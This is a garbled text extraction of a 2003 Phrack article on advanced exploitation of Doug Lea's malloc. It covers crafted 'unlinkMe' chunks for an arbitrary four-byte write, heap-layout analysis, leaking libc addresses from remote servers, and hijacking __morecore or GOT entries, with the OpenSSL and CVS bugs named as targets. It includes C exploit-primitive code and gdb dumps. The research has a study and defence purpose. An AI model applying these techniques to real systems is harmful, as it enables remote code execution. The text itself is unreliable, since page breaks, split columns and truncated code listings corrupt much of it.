Adv Dlmalloc.
Adv Dlmalloc.
http://phrack.org/issues/61/6.html#article
.::
Advanced
Doug
Lea's
malloc
exploits
::.
Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ]
[ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ]
[ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ]
[ 68 ]
Current issue : #61 | Release date : 2003-08-13 | Editor : Phrack Staff
Get tar.gz
Introduction
Phrack Staff
Loopback
Phrack Staff
Linenoise
Phrack Staff
Toolz Armory
Phrack Staff
Phrack Staff
jp
buffer
mayhem
CLET team
truff
obscou
bioforge
stealth
Phrack Staff
1 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
Abstract
Introduction
Automating exploitation problems
The techniques
4.1 - aa4bmo primitive
4.1.1 - First unlinkMe chunk
4.1.1.1 - Proof of concept 1: unlinkMe chunk
4.1.2 - New unlinkMe chunk
4.2 - Heap layout analysis
4.2.1 - Proof of concept 2: Heap layout debugging
4.3 - Layout reset - initial layout prediction - server model
4.4 - Obtaining information from the remote process
4.4.1 - Modifying server static data - finding process' DATA
4.4.2 - Modifying user input - finding shellcode location
4.4.2.1 - Proof of concept 3 : Hitting the output
4.4.3 - Modifying user input - finding libc's data
4.4.3.1 - Proof of concept 4 : Freeing the output
4.4.4 - Vulnerability based heap memory leak - finding libc's DATA
4.5 - Abusing the leaked information
4.5.1 - Recognizing the arena
4.5.2 - Morecore
4.5.2.1 - Proof of concept 5 : Jumping with morecore
4.5.3 - Libc's GOT bruteforcing
4.5.3.1 - Proof of concept 6 : Hinted libc's GOT bruteforcing
4.5.4 - Libc fingerprinting
4.5.5 - Arena corruption (top, last remainder and bin modification)
4.6 - Copying the shellcode 'by hand'
5 - Conclusions
6 - Thanks
7 - References
Appendix I - malloc internal structures overview
----------------------------------------------------------------------------[ 1. Abstract
This paper details several techniques that allow more generic and reliable
exploitation of processes that provide us with the ability to overwrite
an almost arbitrary 4 byte value at any location.
Higher level techniques will be constructed on top of the unlink() basic
technique (presented in MaXX's article [2]) to exploit processes which
allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic
memory allocator).
unlink() is used to force specific information leaks of the target process
memory layout. The obtained information is used to exploit the target
without any prior knowledge or hardcoded values, even when randomization
of main object's and/or libraries' load address is present.
Several tricks will be presented along different scenarios, including:
* special chunks crafting (cushion chunk and unlinkMe chunk)
* heap layout consciousness and analysis using debugging tools
* automatically finding the injected shellcode in the process memory
* forcing a remote process to provide malloc's internal structures
addresses
* looking for a function pointer within glibc
* injecting the shellcode into a known memory address
The combination of these techniques allows to exploit the OpenSSL 'SSLv2
Malformed Client Key Buffer Overflow' [6] and the CVS 'Directory double
free' [7] vulnerabilities in a fully automated way (without hardcoding
any target based address or offset), for example.
----------------------------------------------------------------------------[ 2. Introduction
2 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
->
This paper focuses mainly on the question that arises after we reach the
aa4bmo primitive: what should we do once we know a process allows us to
overwrite four bytes of its memory with almost any arbitrary data?
In addition, tips to reach the aa4bmo primitive in a reliable way are
explained.
Although the techniques are presented in the context of malloc based
heap overflow exploitation, they can be employed to aid in format string
exploits as well, for example, or any other vulnerability or combination
of them, which provide us with similar capabilities.
The research was focused on the Linux/Intel platform; glibc-2.2.4,
glibc-2.2.5 and glibc-2.3 sources were used, mainly the file malloc.c
(an updated version of malloc can be found at [1]). Along this paper we'll
use 'malloc' to refer to Doug Lea's malloc based implementation.
----------------------------------------------------------------------------] 3. Automating exploitation problems
When trying to answer the question 'what should we do once we know we can
overwrite four bytes of the process memory with almost any arbitrary
data?', we face several problems:
A] how can we be sure we are overwriting the desired bytes with the
desired bytes?
As the aa4bmo primitive is the underlying layer that allows us to
implement the higher level techniques, we need to be completely sure it is
working as expected, even when we know we won't know where our data will
be located. Also, in order to be useful, the primitive should not crash
the exploited process.
B] what should we write?
We may write the address of the code we intend to execute, or we may
modify a process variable. In case we inject our shellcode in the
process, we need to know its location, which may vary together with the
evolving process heap/stack layout.
C] where should we write?
Several known locations can be overwritten to modify the execution flow,
including for example the ones shown in [10], [11], [12] and [14].
In case we are overwriting a function pointer (as when overwriting a stack
frame, GOT entry, process specific function pointer, setjmp/longjmp,
file descriptor function pointer, etc), we need to know its precise location.
The same happens if we plan to overwrite a process variable. For example,
a GOT entry address may be different even when the source code is the
3 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
4 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
if (mem == 0)
/* free(0) has no effect */
p = mem2chunk(mem);
if (chunk_is_mmapped(p))
/* release mmapped memory. */
ar_ptr = arena_for_ptr(p);
(void)mutex_lock(&ar_ptr->mutex);
chunk_free(ar_ptr, p);
0xfffffd71
0xfffffd61
0xfffffd51
0xfffffd41
0xfffffd31
0xfffffd6d
0xfffffd5d
0xfffffd4d
0xfffffd3d
0xfffffd2d
0xfffffd69
0xfffffd59
0xfffffd49
0xfffffd39
0xfffffd29
0xfffffd65
0xfffffd55
0xfffffd45
0xfffffd35
0xfffffd25
(gdb) p/x hd
$5 = 0xfffffd6d
(gdb) p/x sz
$6 = 0xfffffd6c
3236
3237
Using the negative relative size, chunk_free() gets the next chunk, let's
see which is the 'next' chunk:
(gdb) x/20x next
0x80495e0:
0xfffffffc
0x80495f0:
0xfffffff5
0x8049600:
0xffffffe5
5 of 35
0xfffffffc
0xfffffff1
0xffffffe1
0xbfffff00
0xffffffed
0xffffffdd
0xbffffef8
0xffffffe9
0xffffffd9
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
0x8049610:
0x8049620:
0xffffffd5
0xffffffc5
0xffffffd1
0xffffffc1
0xffffffcd
0xffffffbd
0xffffffc9
0xffffffb9
if (next == top(ar_ptr))
islr = 0;
if (!(hd & PREV_INUSE))
if (!(inuse_bit_at_offset(next, nextsz)))
/* consolidate forward */
sz += nextsz;
if (!islr && next->fd == last_remainder(ar_ptr))
unlink(next, bck, fwd);
0xbfffff00
0x6f73692e
0x41504b53
0x2f636578
0x73732d65
!!!!!!!!!!
0x414c0065
0x39353838
0x2f3d5353
0x6e65706f
0x73612d68
0x653d474e
0x53003531
0x2f727375
0x2f687373
0x7361706b
!!!!!!!!!!
0xbffffef8
0x415f4853
0x6562696c
0x6d6f6e67
0x4f480073
6 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
7 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
mov
and
0x4(%edx),%ecx
$0xfffffffc,%ecx
0x4(%ecx),%eax
%ecx,0xffffffec(%ebp)
%eax,0xffffffe4(%ebp)
$0xfffffff8,%eax
So, we can't use -4 anymore, the smaller size we can provide is -8.
Also, we are not able anymore to make every chunk to point to our nasty
chunk. The following code shows our new unlinkMe chunk which solves both
problems:
unsigned long *aa4bmoPrimitive(unsigned long what,
unsigned long where,unsigned long sz){
unsigned long *unlinkMe;
int i=0;
if(sz<13) sz = 13;
unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
// 1st nasty chunk
unlinkMe[i++] = -4;
// PREV_INUSE is not set
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = what;
unlinkMe[i++] = where-8;
// 2nd nasty chunk
unlinkMe[i++] = -4; // PREV_INUSE is not set
unlinkMe[i++] = -4;
unlinkMe[i++] = -4;
unlinkMe[i++] = what;
unlinkMe[i++] = where-8;
for(;i<sz;i++)
if(i%2)
// relative negative offset to 1st nasty chunk
unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
else
// relative negative offset to 2nd nasty chunk
unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
free(unlinkMe+SOMEOFFSET(sz));
return unlinkMe;
}
The process is similar to the previously explained for the first unlinkMe
chunk version. Now, we are using two nasty chunks, in order to be able to
point every chunk to one of them. Also, we added a -4 (PREV_INUSE flag not
set) before each of the nasty chunks, which is accessed in step 3 of the
'4.1.1 First unlinkMe chunk' section, as -8 is the smaller size we can
provide.
This new version of the unlinkMe chunk works both in older and newer libc
versions. Along the article most proof of concept code uses the first
version, replacing the aa4bmoPrimitive() function is enough to obtain an
updated version.
----------------------------------------------------------------------------] 4.2 Heap layout analysis
You may want to read the 'Appendix I - malloc internal structures
overview' section before going on.
8 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
Analysing the targeted process heap layout and its evolution allows to
understand what is happening in the process heap in every moment, its
state, evolution, changes... etc. This allows to predict the allocator
behavior and its reaction to each of our inputs.
Being able to predict the heap layout evolution, and using it to our
advantage is extremely important in order to obtain a reliable
exploit.
To achieve this, we'll need to understand the allocation behavior of
the process (i.e. if the process allocates large structures for each
connection, if lots of free chunks/heap holes are generated by a
specific command handler, etc), which of our inputs may be used to
force a big/small allocation, etc.
We must pay attention to every use of the malloc routines, and
how/where we might be able to influence them via our input so
that a reliable situation is reached.
For example, in a double free() vulnerability scenario, we know the
second free() call (trying to free already freed memory), will
probably crash the process. Depending on the heap layout evolution
between the first free() and the second free(), the portion of memory
being freed twice may: have not changed, have been reallocated several
times, have been coalesced with other chunks or have been overwritten and
freed.
The main factors we have to recognize include:
A] chunk size: does the process allocate big memory chunks? is our
input stored in the heap? what commands are stored in the heap?
is there any size limit to our input? am I able to force a heap
top (top_chunk) extension?
B] allocation behavior: are chunks allocated for each of our
connections? what size? are chunks allocated periodically? are
chunks freed periodically? (i.e. async garbage collector, cache
pruning, output buffers, etc)
C] heap holes: does the process leave holes? when? where? what size?
can we fill the hole with our input? can we force the overflow
condition in this hole? what is located after the hole? are we
able to force the creation of holes?
D] original heap layout: is the heap layout predictable after process
initialization? after accepting a client connection? (this is
related to the server mode)
During our tests, we use an adapted version of a real malloc
implementation taken from the glibc, which was modified to generate
debugging output for each step of the allocator's algorithms, plus three
helper functions added to dump the heap layout and state.
This allows us to understand what is going on during exploitation, the
actual state of the allocator internal structures, how our input affects
them, the heap layout, etc.
Here is the code of the functions we'll use to dump the heap state:
static void
#if __STD_C
heap_dump(arena *ar_ptr)
#else
heap_dump(ar_ptr) arena *ar_ptr;
#endif
{
mchunkptr p;
fprintf(stderr,"\n--- HEAP DUMP ---\n");
fprintf(stderr,
"
ADDRESS
SIZE
FD
BK\n");
fprintf(stderr,"sbrk_base %p\n",
(mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
~MALLOC_ALIGN_MASK));
p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
~MALLOC_ALIGN_MASK);
for(;;) {
fprintf(stderr, "chunk
%p 0x%.4x", p, (long)p->size);
if(p == top(ar_ptr)) {
9 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
%p\n",sbrk_base+sbrked_mem);
static void
#if __STD_C
heap_layout(arena *ar_ptr)
#else
heap_layout(ar_ptr) arena *ar_ptr;
#endif
{
mchunkptr p;
fprintf(stderr,"\n--- HEAP LAYOUT ---\n");
p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) &
~MALLOC_ALIGN_MASK);
for(;;p=next_chunk(p)) {
if(p==top(ar_ptr)) {
fprintf(stderr,"|T|\n\n");
break;
}
if((p->fd==last_remainder(ar_ptr))&&(p->bk==last_remainder(ar_ptr))) {
fprintf(stderr,"|L|");
continue;
}
if(inuse(p)) {
fprintf(stderr,"|A|");
continue;
}
fprintf(stderr,"|%lu|",bin_index(p->size));
continue;
}
}
}
static void
#if __STD_C
bin_dump(arena *ar_ptr)
#else
bin_dump(ar_ptr) arena *ar_ptr;
#endif
{
int i;
mbinptr b;
mchunkptr p;
fprintf(stderr,"\n--- BIN DUMP ---\n");
(void)mutex_lock(&ar_ptr->mutex);
10 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
curly = malloc(256);
FD
BK
(gdb) p bin_dump(0x40018040)
11 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
--- BIN DUMP --arena @ 0x40018040 - top @ 0x80496a0 - top size = 0x0960
(gdb) p heap_layout(0x40018040)
--- HEAP LAYOUT --|A||T|
The first chunk is allocated, note the difference between the requested
size (256 bytes) and the size passed to chunk_alloc(). As there is no
chunk, the top needs to be extended and memory is requested to the
operating system. More memory than the needed is requested, the remaining
space is allocated to the 'top chunk'.
In the heap_dump()'s output the (A) represents an allocated chunk, while
the (T) means the chunk is the top one. Note the top chunk's size (0x961)
has its last bit set, indicating the previous chunk is allocated:
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use
*/
#define PREV_INUSE 0x1UL
The bin_dump()'s output shows no bin, as there is no free chunk yet,
except from the top. The heap_layout()'s output just shows an allocated
chunk next to the top.
larry = malloc(256);
FD
BK
--- BIN DUMP --arena @ 0x40018040 - top @ 0x80497a8 - top size = 0x0858
--- HEAP LAYOUT --|A||A||T|
A new chunk is allocated from the remaining space at the top chunk. The
same happens with the next malloc() calls.
moe = malloc(256);
SIZE
0x0109
0x0109
0x0109
0x0751
FD
BK
(A)
(A)
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x80498b0 - top size = 0x0750
--- HEAP LAYOUT --|A||A||A||T|
12 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
po = malloc(256);
SIZE
0x0109
0x0109
0x0109
0x0109
0x0649
FD
BK
(A)
(A)
(A)
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x80499b8 - top size = 0x0648
--- HEAP LAYOUT --|A||A||A||A||T|
lala = malloc(256);
SIZE
0x0109
0x0109
0x0109
0x0109
0x0109
0x0541
FD
BK
(A)
(A)
(A)
(A)
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
--- HEAP LAYOUT --|A||A||A||A||A||T|
9
free(larry);
[1679] FREE(0x80496a8) - CHUNK_FREE(0x40018040,0x80496a0)
fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk
--- HEAP DUMP --ADDRESS
sbrk_base 0x8049598
chunk
0x8049598
chunk
0x80496a0
chunk
0x80497a8
chunk
0x80498b0
chunk
0x80499b8
chunk
0x8049ac0
sbrk_end 0x804a000
SIZE
0x0109
0x0109
0x0108
0x0109
0x0109
0x0541
FD
BK
(A)
(F) | 0x40018148 | 0x40018148 | (LC)
(A)
(A)
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
bin 33 @ 0x40018148
free_chunk @ 0x80496a0 - size 0x0108
--- HEAP LAYOUT --|A||33||A||A||A||T|
13 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
A chunk is freed. The frontlink() macro is called to insert the new free
chunk into the corresponding bin:
frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd);
Note the arena address parameter (ar_ptr) was omitted in the output.
In this case, the chunk at 0x80496a0 was inserted in the bin number 33
according to its size. As this chunk is the only one in its bin (we can
check this in the bin_dump()'s output), it's a lonely chunk (LC) (we'll
see later that being lonely makes 'him' dangerous...), its
bk and fd pointers are equal and point to the bin number 33.
In the heap_layout()'s output, the new free chunk is represented by the
number of the bin where it is located.
10
free(po);
SIZE
0x0109
0x0109
0x0108
0x0109
0x0108
0x0541
FD
BK
(A)
(F) | 0x40018148 | 0x080498b0 |
(A)
(F) | 0x080496a0 | 0x40018148 |
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
bin 33 @ 0x40018148
free_chunk @ 0x80496a0 - size 0x0108
free_chunk @ 0x80498b0 - size 0x0108
--- HEAP LAYOUT --|A||33||A||33||A||T|
Now, we have two free chunks in the bin number 33. We can appreciate now
how the double linked list is built. The forward pointer of the chunk at
0x80498b0 points to the other chunk in the list, the backward pointer
points to the list head, the bin.
Note that there is no longer a lonely chunk. Also, we can see the
difference between a heap address and a libc address (the bin address),
0x080496a0 and 0x40018148 respectively.
11
tw = malloc(128);
SIZE
0x0109
0x0089
0x0081
0x0108
0x0109
0x0108
0x0541
FD
BK
(A)
(A)
(F) | 0x40018048 | 0x40018048 | (LR)
(A)
(F) | 0x40018148 | 0x40018148 | (LC)
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
bin 1 @ 0x40018048
free_chunk @ 0x8049728 - size 0x0080
14 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
bin 33 @ 0x40018148
free_chunk @ 0x80498b0 - size 0x0108
--- HEAP LAYOUT --|A||A||L||A||33||A||T|
In this case, the requested size for the new allocation is smaller than
the size of the available free chunks. So, the first freed buffer is taken
from the bin with the unlink() macro and splitted. The first part is
allocated, the remaining free space is called the 'last remainder', which
is always stored in the first bin, as we can see in the bin_dump()'s
output.
In the heap_layout()'s output, the last remainder chunk is represented
with a L; in the heap_dump()'s output, (LR) is used.
12
piniata = malloc(128);
SIZE
0x0109
0x0089
0x0081
0x0108
0x0089
0x0081
0x0108
0x0541
FD
BK
(A)
(A)
(F) | 0x400180c0 | 0x400180c0 | (LC)
(A)
(A)
(F) | 0x40018048 | 0x40018048 | (LR)
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540
bin 1 @ 0x40018048
free_chunk @ 0x8049938 - size 0x0080
bin 16 @ 0x400180c0
free_chunk @ 0x8049728 - size 0x0080
--- HEAP LAYOUT --|A||A||16||A||A||L||A||T|
As the last_remainder size is not enough for the requested allocation, the
last remainder is cleared and inserted as a new free chunk into the
corresponding bin. Then, the other free chunk is taken from its bin and
split as in the previous step.
13
dipsi = malloc(1500);
15 of 35
SIZE
0x0109
0x0089
0x0081
0x0108
FD
BK
(A)
(A)
(F) | 0x400180c0 | 0x08049938 |
(A)
28/08/2015 12:08
chunk
chunk
chunk
chunk
chunk
sbrk_end
http://phrack.org/issues/61/6.html#article
0x80498b0
0x8049938
0x80499b8
0x8049ac0
0x804a0a0
0x804b000
0x0089
0x0081
0x0108
0x05e1
0x0f61
(A)
(F) | 0x08049728 | 0x400180c0 |
(A)
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60
bin 16 @ 0x400180c0
free_chunk @ 0x8049728 - size 0x0080
free_chunk @ 0x8049938 - size 0x0080
--- HEAP LAYOUT --|A||A||16||A||A||16||A||A||T|
As no available free chunk is enough for the requested allocation size,
the top chunk was extended again.
14
free(dipsi);
SIZE
0x0109
0x0089
0x0081
0x0108
0x0089
0x0081
0x0108
0x1541
FD
BK
(A)
(A)
(F) | 0x400180c0 | 0x08049938 |
(A)
(A)
(F) | 0x 8049728 | 0x400180c0 |
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540
bin 16 @ 0x400180c0
free_chunk @ 0x8049728 - size 0x0080
free_chunk @ 0x8049938 - size 0x0080
--- HEAP LAYOUT --|A||A||16||A||A||16||A||T|
The chunk next to the top chunk is freed, so it gets coalesced with it,
and it is not inserted in any bin.
15
free(lala);
SIZE
0x0109
0x0089
0x0081
0x0108
0x0089
0x16c9
FD
BK
(A)
(A)
(F) | 0x400180c0 | 0x400180c0 | (LC)
(A)
(A)
(T)
--- BIN DUMP --arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8
16 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
bin 16 @ 0x400180c0
free_chunk @ 0x8049728 - size 0x0080
--- HEAP LAYOUT --|A||A||16||A||A||T|
Again, but this time also the chunk before the freed chunk is coalesced, as
it was already free.
----------------------------------------------------------------------------] 4.3 - Layout reset - initial layout prediction - server model
In this section, we analyse how different scenarios may impact on the
exploitation process.
In case of servers that get restarted, it may be useful to cause a 'heap
reset', which means crashing the process on purpose in order to obtain a
clean and known initial heap layout.
The new heap that gets built together with the new restarted process is
in its 'initial layout'. This refers to the initial state of the heap
after the process initialization, before receiving any input from the
user. The initial layout can be easily predicted and used as a the known
starting point for the heap layout evolution prediction, instead of using
a not virgin layout result of several modifications performed while
serving client requests. This initial layout may not vary much across
different versions of the targeted server, but in case of major changes in
the source code.
One issue very related to the heap layout analysis is the kind of process
being exploited.
In case of a process that serves several clients, heap layout evolution
prediction is harder, as may be influenced by other clients that may be
interacting with our target server while we are trying to exploit it.
However, it gets useful in case where the interaction between the server
and the client is very restricted, as it enables the attacker to open
multiple connections to affect the same process with different input
commands.
On the other hand, exploiting a one client per process server (i.e. a
forking server) is easier, as long as we can accurately predict the
initial heap layout and we are able to populate the process memory in
a fully controlled way.
As it is obvious, a server that does not get restarted, gives us just one
shot so, for example, bruteforcing and/or 'heap reset' can't be applied.
----------------------------------------------------------------------------] 4.4 Obtaining information from the remote process
The idea behind the techniques in this section is to force a remote
server to give us information to aid us in finding the memory locations
needed for exploitation.
This concept was already used as different mechanisms in the 'Bypassing
PaX ASLR' paper [13], used to bypass randomized space address processes.
Also, the idea was suggested in [4], as 'transforming a write primitive in
a read primitive'.
--] 4.4.1 Modifying server static data - finding process' DATA
This technique was originally seen in wuftpd ~{ exploits. When the ftpd
process receives a 'help' request, answers with all the available commands.
These are stored in a table which is part of the process' DATA, being a
static structure. The attacker tries to overwrite part of the structure,
and using the 'help' command until he sees a change in the server's answer.
Now the attacker knows an absolute address within the process' DATA, being
able to predict the location of the process' GOT.
--] 4.4.2 Modifying user input - finding shellcode location
The following technique allows the attacker to find the exact location of
the injected shellcode within the process' address space, being
independent of the target process.
To obtain the address, the attacker provides the process with some bogus
data, which is stored in some part of the process. Then, the basic
primitive is used, trying to write 4 bytes in the location the bogus
data was previously stored. After this, the server is forced to reply
using the supplied bogus data.
17 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
If the replayed data differs from the original supplied (taken into account
any transformation the server may perform on our input), we can be sure
that next time we send the same input sequence to the server, it will be
stored in the same place. The server's answer may be truncated if a
function expecting NULL terminating strings is used to craft it, or to
obtain the answer's length before sending it through the network.
In fact, the provided input may be stored multiple times in different
locations, we will only detect a modification when we hit the location
where the server reply is crafted.
Note we are able to try two different addresses for each connection,
speeding up the bruteforcing mechanism.
The main requirement needed to use this trick, is being able to trigger
the aa4bmo primitive between the time the supplied data is stored and the
time the server's reply is built. Understanding the process allocation
behavior, including how is processed each available input command is
needed.
--] 4.4.2.1 Proof of concept 3 : Hitting the output
The following code simulates a process which provides us with a aa4bmo
primitive to try to find where a heap allocated output buffer is located:
#include <stdio.h>
#define SZ
#define SOMEOFFSET
#define PREV_INUSE
#define IS_MMAP
#define OUTPUTSZ
256
5 + (rand() % (SZ-1))
1
2
1024
18 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
6620
2074
5b0a
0804
4f4f
4f4f
756f
2040
4f4f
4f4f
4f4f
0a5d
646e
7830
4f4f
4f4f
4f4f
7420
3038
4f4f
4f4f
4f4f
6568
3934
4f4f
4f4f
4f4f
6f20
6338
98c8
4f4f
4f4f
<==
<==
SIZE
0x00661
0x10008
0x00ff9
0x10008
0x00ff9
0x10008
0x04001
FD
BK
This happens because error messages are buffered when generated, waiting
to be flushed, some buffering state internal structures get allocated,
and our data is split and stored in fixed size error buffers.
--] 4.4.3 Modifying user input - finding libc's DATA
In this situation, we are able to provide some input to the vulnerable
server which is then sent as output to us again. For example, in the CVS
'Directory' double free() vulnerability, we give the server and invalid
19 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
256
5 + (rand() % (SZ-1))
1
2
20 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
0xfffffd61
0xfffffd51
0xfffffd41
0xfffffd31
0xfffffd21
0xfffffd11
0xfffffd01
0xfffffcf1
0xfffffce1
0xfffffcd1
0xfffffcc1
0xfffffcb1
0xfffffca1
0xfffffc91
0xfffffc81
3296
3298
3306
3315
3316
3317
3318
After the frontlink() macro is called with our supplied buffer, it gets
the address of the bin in which it is inserted:
fronlink(0x8049ab0,-668,126,0x40018430,0x40018430) new free chunk
(gdb) x/20x p
0x8049ab0:
0x8049ac0:
0x8049ad0:
0x8049ae0:
0x8049af0:
0xfffffd6d
0xfffffd5d
0xfffffd4d
0xfffffd3d
0xfffffd2d
0xfffffd65
0xfffffd59
0xfffffd49
0xfffffd39
0xfffffd29
0x40018430
0xfffffd55
0xfffffd45
0xfffffd35
0xfffffd25
0x40018430
0xfffffd51
0xfffffd41
0xfffffd31
0xfffffd21
0x40018428
0x08049ab0
(gdb) c
Continuing.
(-) looking for bin address...
(!) found bin address -> 0x40018430
Let's check the address we obtained:
(gdb) x/20x 0x40018430
0x40018430 <main_arena+1008>:
0x08049ab0
21 of 35
0x40018428
28/08/2015 12:08
0x40018440
0x000007f0
0x40018450
0x0000016a
0x40018460
0x0000423c
0x40018470
0x4001370c
http://phrack.org/issues/61/6.html#article
<main_arena+1024>:
0x40018438
0x40018438
0x40018040
<main_arena+1040>:
0x00000001
0x00000000
0x00000001
<__FRAME_END__+12>:
0x0000000c
0x00001238
0x0000000d
<__FRAME_END__+28>:
0x00000004
0x00000094
0x00000005
---->
ptr] ---->
[bin_n+1]
(first chunk)
[<- chunk ->] [<- chunk ->] [<[
chunk
[<- chunk ->] [<- chunk ->] [<(last chunk)
fd
bk
.
.
.
[bin_X]
ptr] ---->
ptr] ---->
[<[
[<-
fd
lonely but interesting chunk
bk
.
.
This
heap
more
list
Then, we can look for two equal memory addresses, one next to the
other, pointing to libc's memory (looking for addresses of
the form 0x4....... is enough for our purpose). We can suppose these
22 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
pairs of addresses we found are part of a free chunk which is the only
one hanging of a bin, we know it looks like...
size | fd | bk
How easy is to find a lonely chunk in the heap immensity?
First, this depends on the exploitation scenario and the exploited process
heap layout. For example, when exploiting the OpenSSL bug along different
targets, we could always find at least a lonely chunk within the leaked
heap memory.
Second, there is another scenario in which we will be able to locate
a malloc bin, even without the capability to find a lonely chunk. If
we are able to find the first or last chunk of a bin, one of its
pointers will reference an address within main_arena, while the
other one will point to another free chunk in the process heap. So,
we'll be looking for pairs of valid pointers like these:
[ ptr_2_libc's_memory | ptr_2_process'_heap ]
or
[ ptr_2_process'_heap | ptr_2_libc's_memory ]
We must take into account that this heuristic will not be as accurate
as searching for a pair of equal pointers to libc's space address, but
as we already said, it's possible to cross-check between multiple possible
chunks.
Finally, we must remember this depends totally on the way we are
abusing the process to read its memory. In case we can read arbitrary
addresses of memory, this is not an issue, the problem gets harder
as more limited is our mechanism to retrieve remote memory.
--] 4.5.2 Morecore
Here, we show how to find a function pointer within the libc after
obtaining a malloc bin address, using one of the before explained
mechanisms.
Using the size field of the retrieved chunk header and the bin_index() or
smallbin_index() macro we obtain the exact address of the main_arena.
We can cross check between multiple supposed lonely chunks that the
main_arena address we obtained is the real one, depending on the
quantity of lonely chunks pairs we'll be more sure. As long as the
process doesn't crash, we may retrieve heap memory several times, as
main_arena won't change its location. Moreover, I think it
wouldn't be wrong to assume main_arena is located in the same address
across different processes (this depends on the address on which the
libc is mapped). This may even be true across different servers
processes, allowing us to retrieve the main_arena through a leak in a
process different from the one being actively exploited.
Just 32 bytes before &main_arena[0] is located __morecore.
Void_t *(*__morecore)() = __default_morecore;
MORECORE() is the name of the function that is called through malloc
code in order to obtain more memory from the operating system, it
defaults to sbrk().
Void_t * __default_morecore ();
Void_t *(*__morecore)() = __default_morecore;
#define MORECORE (*__morecore)
The following disassembly shows how MORECORE is called from chunk_alloc()
code, an indirect call to __default_morecore is performed by default:
<chunk_alloc+1468>:
<chunk_alloc+1474>:
<chunk_alloc+1477>:
<chunk_alloc+1478>:
mov
sub
push
call
0x64c(%ebx),%eax
$0xc,%esp
%esi
*(%eax)
23 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
0x4212df80 <__morecore>:
(gdb) x/4i
0x4207e034
0x4207e035
0x4207e037
0x4207e038
0x4207e034
0x4207e034
<__default_morecore>: push
%ebp
<__default_morecore+1>: mov
%esp,%ebp
<__default_morecore+3>: push
%ebx
<__default_morecore+4>: sub
$0x10,%esp
MORECORE() is called from the malloc() algorithm to extend the memory top,
requesting the operating system via the sbrk.
MORECORE() gets called twice from malloc_extend_top()
brk = (char*)(MORECORE (sbrk_size));
...
/* Allocate correction */
new_brk = (char*)(MORECORE (correction));
which is called by chunk_alloc():
/* Try to extend */
malloc_extend_top(ar_ptr, nb);
